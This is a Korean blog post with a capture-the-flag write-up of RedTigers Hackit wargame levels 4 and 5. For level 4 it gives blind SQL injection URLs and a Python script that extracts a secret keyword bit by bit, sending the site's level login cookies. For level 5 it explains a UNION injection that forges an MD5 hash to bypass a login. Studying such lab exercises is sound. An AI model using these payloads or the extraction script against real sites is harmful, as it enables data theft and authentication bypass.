webhacking/sql, sql injection

RedTigers Hackit 4~5

qkqhxla1 2015. 1. 8. 16:33

level4.

간단한 블라인드 인젝션. 클릭미를 누르면 인자로 1이 전달되는데id=1이면 Query returned 1 rows. 가 출력되고, id=0이면 Query returned 0 rows. 이 출력되는 성질을 이용해서 하면 된다. level4_secret라는 테이블의 keyword라는 컬럼에서 첫번째 값을 뽑아오라고 한다.

http://redtiger.labs.overthewire.org/level4.php?id=if((select%20length(keyword)=17%20from%20level4_secret),1,0)로 길이가 17인걸 알아냈다.


http://redtiger.labs.overthewire.org/level4.php?id=if((select%20substr(lpad(bin(ascii(substr(keyword,1,1))),7,0),1,1)=1%20from%20level4_secret),1,0)로 한글자씩 뽑아주면 된다.


# -*- encoding: cp949 -*-
import urllib2
answer = ''
for i in range(1,18):
    small = ''
    for j in range(1,8):
        print i,j,small,answer
        req = urllib2.Request('http://redtiger.labs.overthewire.org/level4.php?id=if((select%20substr(lpad(bin(ascii(substr(keyword,'+str(i)+',1))),7,0),'+str(j)+',1)=1%20from%20level4_secret),1,0)')
        req.add_header('cookie','level2login=easylevelsareeasy_%21; level3login=securitycat_says_meow_and_likes_cheese; level4login=dont_publish_solutions_GRR%21')
        page = urllib2.urlopen(req).read()
        if page.find('Query returned 0 rows') == -1:
            small += '1'
        else:
            small += '0'
    answer += chr(int(small,2))
print answer

이게 level3보다 더 쉬운것 같아서 level3관련 자료를 찾아봤는데 level3은 블라인드 인젝션이 아니라 union으로 푸는게 의도였던것 같다.



level5

내가 이해를 잘 못하거나 문제를 위해 좀 억지로 만든 쿼리가 아닌가 싶다. 모르겠어서 결국 풀이를 봤다.md5 문제라기에 몇번 본 중간에 =가 들어가서 참으로 만들어주는 그런걸 생각했으나 아니었다. ') or 1=1-- 등으로 우회도 불가능하다. 일반적으로 select * from table where id='$_POST[~]' and pw='md5($_POST[])' 이런걸로 추측했었는데....

이게 아니라 ,select * from table where id='$_POST[~]' and pw='$_POST[~]'로 mysql결과를 가져온 후 if md5($_POST[~])==mysql에서 가져온 pw값이 참이면 로그인이 성공한다.

그래서 bypass하려면 whatever의 해쉬값인 008c5926ca861023c1d2a36653fd88e2을 

' union select 'user','008c5926ca861023c1d2a36653fd88e2처럼 만들어서 id에 넣고,

쿼리를 실행시켜서 user,008~2해쉬값을 가져오게 한 후, pw에는 whatever을 넣게 되면

md5('whatever')==mysql에서 가져온 pw해쉬값이 서로 같게 되어 통과라고 한다.

http://hacktracking.blogspot.kr/2013/08/redtigers-hackit-wargame-level-5.html

솔직히 쿼리문 예상한게 저게 맞는지도 모르겠다. 

'webhacking > sql, sql injection' 카테고리의 다른 글

RedTigers Hackit 7  (0) 2015.01.09
RedTigers Hackit 6  (0) 2015.01.09
RedTigers Hackit 1~3  (1) 2015.01.08
chall.tasteless.se Too Easy  (0) 2014.12.24
chall.tasteless.se Infiltration  (0) 2014.12.24